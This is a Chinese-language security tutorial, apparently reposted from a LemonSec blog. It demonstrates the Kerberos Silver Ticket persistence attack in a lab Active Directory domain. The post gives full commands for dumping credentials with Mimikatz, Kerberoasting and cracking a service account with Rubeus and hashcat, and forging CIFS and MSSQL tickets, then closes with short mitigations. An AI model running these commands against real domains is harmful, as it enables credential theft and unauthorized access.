域持久性:银票攻击
2023-3-14 00:2:55 Author: LemonSec(查看原文) 阅读量:18 收藏

      白银票证是针对特定服务的伪造服务或 TGS 票证,可用于在与 Active Directory 企业域连接的受感染系统上保持持久性。在攻击中,攻击者可以制作有效的 TGS 服务并使用相关的 NTLM 哈希可以进一步制作其他服务的票证。
        在金票攻击中,我们使用 krbtgt 帐户的哈希,而在银票攻击的情况下,我们将使用服务帐户的密码哈希。可以通过多种方法提取服务帐户的密码哈希,Kerberoasting 就是其中之一。由于银票攻击不需要中介 TGT,银票可以在不与域控制器进行任何通信的情况下伪造,因此比金票攻击更隐秘。
银票攻击的工作方式如下:
第 1步:破坏服务帐户的密码哈希(NTLM 哈希)。用户可以使用 Mimikatz、Kerberoasting 等来做到这一点。第 2 步:对于新票,请指定以下内容: 服务哈希 服务名称 目标 FQDN 域 SID第 3 步:将新创建的银票注入终端会话以利用和维护持久性

通过 Mimikatz 获得银票

        在您现在将看到的演示中,您会注意到我们使用了机器帐户“dc1$”的 NTLM 哈希。你们中的许多人可能会感到困惑,因为我们必须使用服务帐户的哈希值。请注意,一台计算机还托管多种服务,其中一项是通用 Internet 文件系统服务(CIFS – 文件共享服务)。因此,CIFS 服务的密码哈希与机器帐户相同。
目标:制作一张银票以在 dc1.ignite.local 机器上建立 CIFS(共享)持久性
由于攻击都与保持持久性有关,因此我们必须假设以下内容:
攻击者入侵了一台低权限的受害者机器(这里,用户名:harshitrajpal)攻击者以某种方式获得了目标机器的密码/NTLM (dc1.ignite.local)攻击者在低权限机器上制作银票以获取访问权限并在 dc1.ignite.local 上保持 CIFS 服务的持久性
        让我们首先向您展示我们当前的用户、票证以及当我们访问 dc1.ignite.local 上的共享时会发生什么
上面的机器是低权限机器。
        接下来,我们需要 dc1.ignite.local 计算机帐户的哈希值。可能有多种方法可以做到这一点,但我们将快速跟踪并使用 Mimikatz 来获得它。让我们首先激活 mimikatz 并使用 sekurlsa::logonpasswords 命令转储哈希。请注意,您可以按照任何方法转储哈希。
privilege::debugsekurlsa::logonpasswords
        这将转储机器内存中的所有哈希值,包括机器帐户的哈希值。稍微滚动一下,我们发现我们的机器帐户“dc1$”的 NTLM
        接下来,要伪造一张银票,我们必须找到可以使用命令轻松找到的域的 SID。请注意最后一个连字符之后的数字(这里,1115 称为相对 SID,我们不希望这样。该部分之前的所有内容都是与我们相关的域 SID)
whoami /user
现在,要伪造一张银票,可以使用 Mimikatz 的“金”模块。我们只是插入我们的变量。
在这里,我使用 /ptt 标志将票证直接插入当前 shell。
/id:它是在检查时在事件日志中可见的任何随机 ID。可以随机化。
/sid:域的。
/domain:目标域的有效 FQDN
/service:为其生成票证的服务
/rc4:受害机器计算机帐户的 NTLM 哈希(之前找到)
/user:模拟用户名
kerberos::golden /sid:S-1-5-21-2377760704-1974907900-3052042330 /domain:ignite.local /target:dc1.ignite.local /service:cifs /rc4:a5902b4b82ddf1ce42d073f06acecf07 /user:harshitrajpal /ptt /id:1339exitklist
正如您在上面看到的,一张票现在已保存在当前会话的内存中。现在您将能够访问目标机器的 CIFS。
dir \\dc1.ignite.local\c$
但是,如果您不想立即将票证插入内存,而是希望保存一个 ticket.kirbi 文件,您只需删除“/ptt”标志并保持原样
kerberos::golden /sid:S-1-5-21-2377760704-1974907900-3052042330 /domain:ignite.local /target:dc1.ignite.local /service:cifs /rc4:a5902b4b82ddf1ce42d073f06acecf07 /user:harshitrajpal /id:1339exitklistdir
现在这张 kirbi 票可以与 Rubeus ptt 模块之类的工具一起使用,并插入到内存中,随时可以使用
rubeus.exe ptt /ticket:ticket.kirbiklistdir \\dc1.ignite.local\c$
当然,上面的整个过程只能使用 Rubeus 来完成。

使用 Rubeus 的银票

我们已经以 CIFS 为例,如果您到目前为止一直在关注这篇文章,那么您也可以使用 Rubeus 复制相同的内容,只需滚动即可。但是,这次我想针对不同的服务,所以我设置了一个 SQL 服务器并分配了由用户“sqluser”运行的服务(可以通过运行->services.msc->SQL->properties 来完成- >登录)
这将使 SQL 服务通过我们新创建的服务帐户运行。
现在,我们需要破解此帐户的 NTLM 哈希。为此,我们将使用 Kerberoasting 攻击。但简而言之,您可以在 Rubeus 中运行以下命令。
/domain:目标 FQDN
/creduser:任何有效的泄露用户名
/credpassword:受感染用户的有效密码
/nowrap: 票块出现在 Rubeus 的单行中
rubeus.exe kerberoast /domain:ignite.local /creduser:ignite.local\aarti /credpassword:[email protected] /nowrap
如您所见,Rubeus 自动确定了一个有效的 Kerberoastable 帐户并转储了其 TGS。我们现在将使用 Hashcat 从这个 TGS 中离线提取密码
hashcat -m 13100 '$krb5tgs$23$*sqluser$ignite.local$MSSQLSvc/dc1.ignite.local:1433@ignite.local*$..<snipped>...4297093077601CC' /usr/share/wordlists/rockyou.txt --force
几秒钟后,我们收到了明文密码“ [email protected] 
现在,让我们使用 Rubeus 将其转换为 NTLM 哈希(rc4_hmac),因为我们的银票需要有效的 NTLM
rubeus.exe hash /password:[email protected]
我们还需要知道 SID。这可以使用whoami /user命令完成
最后,为了在 Rubeus 中为当前用户伪造一张票,我们给出以下命令:
rubeus.exe silver /service:MSSQLSvc/dc1.ignite.local /rc4:64FBAE31CC352FC26AF97CBDEF151E03 /sid:S-1-5-21-2377760704-1974907900-3052042330 /user:harshitrajpal /domain:ignite.local /ptt
/ptt 选项完全导入当前会话中的票证。如果没有 /ptt,ticket.kirbi 文件将被保存。但正如您所见,现在已经创建了一张有效的银票
我们现在可以尝试登录服务器并运行显示主机名的基本命令。
sqlcmd -S 192.168.1.2,1433SELECT HOST_NAME() AS HostNamego
我们的用户现在可以使用我们刚刚伪造的票证连接到 SQL 服务。

缓解办法

由于攻击基于离线机制且不涉及 DC,因此难以缓解攻击。但是,仍然可以采取以下步骤来确保保护:
启用 PAC 验证。如果启用,出示的票证应首先由 DC 验证。因此,银票将立即被拒绝。使用强密码防止暴力破解控制必要的权限或将某些可以使用特定服务的用户列入白名单。缓解 Kerberoasting

侵权请私聊公众号删文

 热文推荐  

欢迎关注LemonSec
觉得不错点个“赞”、“在看“

文章来源: http://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247543276&idx=1&sn=20fc8200d950c01759a9e6be0e0b0161&chksm=f9e346b7ce94cfa19570a4544184a5044507f35601676755ae718c2e8b02d1d95552775e53d0#rd
如有侵权请联系:admin#unsafe.sh